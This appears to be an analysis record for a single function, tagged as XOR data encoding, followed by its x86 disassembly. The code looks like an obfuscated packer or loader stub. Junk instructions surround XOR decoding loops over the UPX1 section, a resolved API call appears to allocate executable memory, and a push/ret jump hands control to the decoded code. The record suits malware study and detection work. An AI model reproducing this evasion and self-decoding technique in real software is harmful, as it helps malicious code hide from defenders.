Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x5ec60822
dec edx
mov eax, 0x72eba135
add eax, 0xf836bd2e
popal
mov edx, 0x4ebf1208
inc edx
mov ecx, 0
mov ebx, esi
add eax, 1
dec eax
sub eax, 0x265a6120
mov edx, ebx
inc edi
add eax, 1
add edi, 0xdf843cfc
mov esi, edx
add edi, 1
add edi, 0xa164cd90
inc ecx
and eax, eax
mov edi, eax
cmp ecx, 0x1000878
jne 0xa789ca
mov eax, 0xcad54909
sub edi, 0x6e8106a0
mov eax, 0xb4fdae1f
add eax, 0x6327b32e
mov eax, edx
sub edx, 1
mov ebx, 0xa78796
not esi
mov esi, eax
mov edx, 0xa7898a
sub edi, eax
add eax, 0xa45cd2b7
mov esi, 0xa76cbc0
mov ecx, dword [ebx]
sub esi, 0x3be2218d
dec eax
and ecx, 0xff
sub edi, eax
mov edi, eax
xor dword [edx], ecx
add eax, esi
inc esi
inc edi
inc edx
add eax, eax
add esi, esi
add ebx, 1
or eax, edi
mov esi, 0xa885eb8a
cmp edx, entry0
jl 0xa78a40
dec esi
sub edi, esi
add esi, eax
not esi
add edi, 0x30cdc9e5
add ebx, edi
sub ecx, 1
mov edi, 0x8ec91b2a
mov esi, 0xa7898e
add ecx, ebx
dec edx
and edi, edx
mov esi, dword [esi]
inc ebx
add edx, 0xa76a9ca4
mov esi, dword [esi]
mov ebx, 0x8910125d
and edi, edx
sub edx, edi
push esi
sub edx, edi
dec edx
sub ecx, ebx
mov esi, 0xa7898a
add ecx, 0x2b5ea20a
sub ebx, edi
mov esi, dword [esi]
inc edx
sub ebx, 0xb7e2e604
dec edx
mov esi, dword [esi]
mov edi, ebx
sub ebx, edx
sub ecx, edx
sub esp, 4
mov dword [esp], 0xa78992
sub ecx, edx
and ecx, edi
mov ebx, 0xbb2cc778
call esi
sub edi, 0xdc804f22
sub edx, 0xa0e34992
not ecx
pop esi
dec ecx
or ebx, ecx
sub esp, 4
mov dword [esp], 0xa7899f
add edx, 1
sub ebx, 0x30842a0f
push eax
sub edi, 1
sub edx, 0x1d82fe18
dec edi
call esi
or ecx, ebx
and ebx, edi
sub esp, 4
mov dword [esp], 0x40
and edi, edi
sub edx, ebx
push 0x3000
dec ebx
sub edi, edx
mov ecx, edi
push 0x200007ce
and ecx, edx
sub ebx, 0x9f898661
push 0
mov ebx, edx
or edx, edx
add ebx, 0xdb1b5bed
call eax
not edx
mov edi, ebx
add eax, 0x20000733
and ecx, edi
mov edx, edi
dec ecx
mov esi, 0xc9b9292c
inc ecx
not edi
mov dword [eax], esi
sub edi, ebx
or edi, ecx
mov esi, dword [eax]
sub ecx, 0x7c6c6ff9
and edi, ebx
cmp esi, 0xc9b9292c
je 0xa78b91
mov eax, 0
mov cl, byte [eax]
add edx, 0x26fd6e09
dec ecx
not ecx
mov ecx, ebx
inc edx
add eax, 0x8ae96c6f
not eax
mov ebx, section.UPX1
add edx, edx
inc eax
and edx, eax
mov edi, 0xa78795
add edx, eax
inc eax
mov ecx, 0
and eax, edx
not edx
inc edx
mov esi, 0xa78796
mov edx, 0x739ec1c6
inc edx
lea esi, [esi + ecx]
add edx, eax
and eax, edx
add edx, 0xf619d240
mov esi, dword [esi]
dec eax
mov eax, 0x73c19782
not edx
and esi, 0xff
sub edx, eax
dec edx
sub eax, 0x8f984495
inc ecx
or eax, edx
not edx
cmp ecx, 0x1f4
jne 0xa78c04
mov ecx, 0
and eax, edx
dec edx
not eax
add eax, 0x9d5425a0
and edx, edx
xor dword [ebx], esi
or edx, edx
and eax, eax
add ebx, 2
and edx, eax
or eax, eax
mov edx, 0x9007dc6e
cmp ebx, edi
jl 0xa78bc1
sub eax, edx
and eax, eax
not eax
not eax
mov edx, eax
mov ebx, section.UPX1
add esi, 0x49a80841
or ecx, esi
mov eax, section.UPX1
and ecx, esi
mov ecx, 0x1e4b1f96
add ecx, 0x406b3dec
mov edi, 0xa78795
sub esi, 1
or ecx, ecx
and ecx, esi
mov edx, 0
or ecx, esi
mov esi, 0xc23df5be
mov esi, 0xaaa4e2d8
mov dl, byte [eax]
add esi, 1
dec esi
mov byte [ebx], dl
and ecx, ecx
sub ecx, 0x5ca549a2
inc ebx
add ecx, 0x2174fa8a
dec esi
add eax, 2
mov esi, 0xabe912ff
mov ecx, 0x64460e0a
mov ecx, 0xb240330b
cmp eax, edi
jle 0xa78c77
not esi
and ecx, ecx
sub ecx, 0xffd9a330
mov eax, 0x12315ba0
sub eax, edx
mov edx, 0xab33c976
sub esp, 4
mov dword [esp], 0x8dc6a0
add edx, 0x73e4c051
sub edx, 0xa02b0cf1
ret